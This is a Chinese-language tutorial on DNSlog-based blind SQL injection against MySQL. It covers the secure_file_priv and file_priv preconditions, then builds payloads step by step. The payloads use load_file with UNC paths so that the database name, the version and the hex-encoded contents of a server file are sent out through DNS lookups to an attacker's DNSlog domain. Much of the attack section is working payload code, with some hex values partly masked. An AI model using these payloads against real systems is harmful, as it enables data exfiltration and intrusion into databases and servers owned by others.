Mysql-Dnslog盲注

0x00 为什么用Dnslog盲注

  • 对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入。

0x01 利用条件

  • 数据库的load_file函数必须可用,也就是数据库用户必须要有file_priv权限

  • 其次就是mysql的secure_file_priv不为NULL,有些高版本的mysql中的secure_file_priv默认为NULL

    • secure_file_priv特性secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

0x02 如何查看mysql是否开启了文件导入导出?

  • 在MySQL 5.5.53版本之前,这个变量默认为空,因此我们就可以使用这些函数。但是在该版本之后,NULL值会禁用这些函数。我们可使用其中的一种方法来检查这个变量的值。Secure_file_priv是一个全局变量且是一个只读变量,也就是说在运行时无法更改。

  • 使用如下命令查看:

    • mysql>show global variables like ‘%secure%’;

    • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。

      • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。
      • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
  • 总结下如何修改secure_file_priv的值?

    • windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

    • linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

    • MYSQL新特性secure_file_priv对读写文件的影响

    • 然后重启mysql,再查询secure_file_priv

0x03 构造攻击Payload

  • 普通payload:

    1
    2
    3
    4
    5
    6
    select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))
    concat是字符串拼接;
    用4个,因为\\会被转义为:\
    database()就是你要做SQL注入查询的地方
    '.xxxx.ceye.io\abc'就是你的dnslog平台给你的域名
    unc路径 网络共享文件方式 \\dnslog\abc这样的路径
- 上面拼接的结果就是"\\\\ schema_name.dnslog\\abc",其实相当于访问了带有数据库名称的三级域名,被dnslog捕获到了。
  • 加密payload

    • 利用bur or select hex(“要加密的数据”)即可.

      1
      2
      3
      4
      加密前:
      select load_file(concat("\\\\",version(),".dnslog\\abc"));
      16进制加密后:
      select load_file(concat(0x5c5c5c5c,version(),0x6xxf62312e7xxb2e307xx36363xx63635c5c616263));

      K1Xd56.png

      K1XaUx.png

  • 读配置文件payload

    • 这里构造下payload读取:C:\phpStudy\WWW\phpinfo.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      首先
      select hex('C:\\phpStudy\\WWW\\phpinfo.php')
      得到加密字符串:433A5C70687053747564795C5757575C706870696E666F2E706870

      然后构造下payload:
      select load_file(concat(0x5c5c5c5c,(select load_file(0x433A5C70687053747564795C5757575C706870696E666F2E706870)),0x6f6xxxxxx6b2e307xx363xxxxxc5c616263)); //这里用了两个load_file就解决上面所说的问题了。

      但是你觉得会成功吗 no no no

      因为文件带有换行符这是不符合 域名规范的 那么我们怎么办呢 加密数据咯
      用hex() 继续构造payload:

      select load_file(concat(0x5c5c5c5c,hex((select load_file(0x433A5C70687053747564795C5757575C706870696E666F2E706870))),0x6f6f62xxxx66b2xxx78636xxxx5c5c616263));
    • 复现如下图:

      K1jCL9.png
      K1jpM4.png
      K1j9sJ.png

0X04 Reference

- 参考链接:

    https://xz.aliyun.com/t/3992#toc-1

    https://www.freebuf.com/articles/web/201013.html

    https://www.t00ls.net/thread-44273-1-1.html